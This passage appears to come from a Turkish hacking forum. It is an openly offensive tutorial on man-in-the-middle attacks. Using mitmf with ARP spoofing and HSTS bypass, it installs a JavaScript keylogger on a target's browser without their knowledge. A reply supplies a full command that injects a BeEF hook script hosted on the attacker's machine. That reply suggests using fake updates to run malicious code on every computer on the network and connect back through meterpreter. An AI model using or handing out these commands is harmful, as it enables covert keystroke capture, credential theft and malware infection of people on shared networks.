Man in the middle saldırısı / %100 FUD

Dostlar bu yazımda sizlere karşı bilgisayara birşey indirtmeden hiçbirşey'e tıklatmadan keylogger atmak çok kolay.

Kullanılan Tool : mitmf

İndirmek için : apt-get install mitmf

Öncelikle hedef bilgisayarın local ip'sini bildiğinizi var sayıp devam ediyorum.

--gateway : sizin gateway ip'niz

-i : interface'nizi yazacagınız yer

--target : keylogger atacağınız hedef bilgisayar'ın ip'si örnek : 192.168.0.100

--hsts : https engelleme tuş vuruşlarını daha iyi yakalayabilmek için

--jskeylogger : mitmf toolumuzdaki keylogger sokma işlemini gerçekleştiren parametre

Kullanımı Resimli Şekilde :

Terminal'i açtıktan sonra yazmaya başlıyoruz.İnterface'mizi öğrenmek için "ifconfig" yazıyoruz "eth0" veya wlan0 veya wlan1 olabilir :



İnterface'imizin ne olduğunu öğrendikten sonra sıra geldi gateway'imizi öğrenmeye :



gateway'imizde öğrendiğimize göre sıra geldi mitmf tool'umuz ile keylogger'imizi çalıştırmaya.

Başkan eline sağlıkta bir sorum olacak bu yöntem kesin çalışır mı?

kesin çalışır eğer fazla yorum gelirse WİFİ'lerimizdekilerin İP sini bulmayı göstericem sonrada her hangi indirdiği bir şeye trojan enjekte etmeyi göstericem.

eth0 yerine wlan0 veya wlan1'de olabilir dikkat et

Konuyu hortlatıyım BEEF ile mitmf beraber kullanıldığında daha etkili olabiliyor. Mesela örnek olarak. BEEF açalım (programların kurulu olduğunu varsayıyorum)
root@kali:~# ./beef
kodu ile programı açıp (192 ile başlayan ip adreslerine takılmayın. sizde değişik olacaktır.)
[23:25:30] | Hook URL: http://192.168.1.9:3000/hook.js (şu kısmı kopyalıyoruz)
[23:25:30] |_ UI URL: http://192.168.1.9:3000/ui/panel (bu paneli açıyoruz / Kullanıcı adı: beef şifre: beef )
root@kali:~#python mitmf.py -i wlan0 --sppof --arp --gateway 192.168.1.1 --hsts --inject --js-url http://192.168.1.9:3000/hook.js
yukarıdaki kod ile ağ trafiğini beef tarayıcısına çekebilir. inject edilen browser üzerinde işlemler yapabilirsiniz. Mesela fakeupdate ile ağdaki bilgisayarların tamamına bir zararlı kod yükletip çalıştırmasını sağlayabbbilirsiniz. Zaten sonrası msfconsole da meterpreter bağlantısına bakar.
Meraklı arkadaşlar youtube videolarda araştırabilirler. özeldende yardımcı olabilirim.
(bu yazdığım sadece bir dip nottur.)
Saygılar ajanlar ailesi.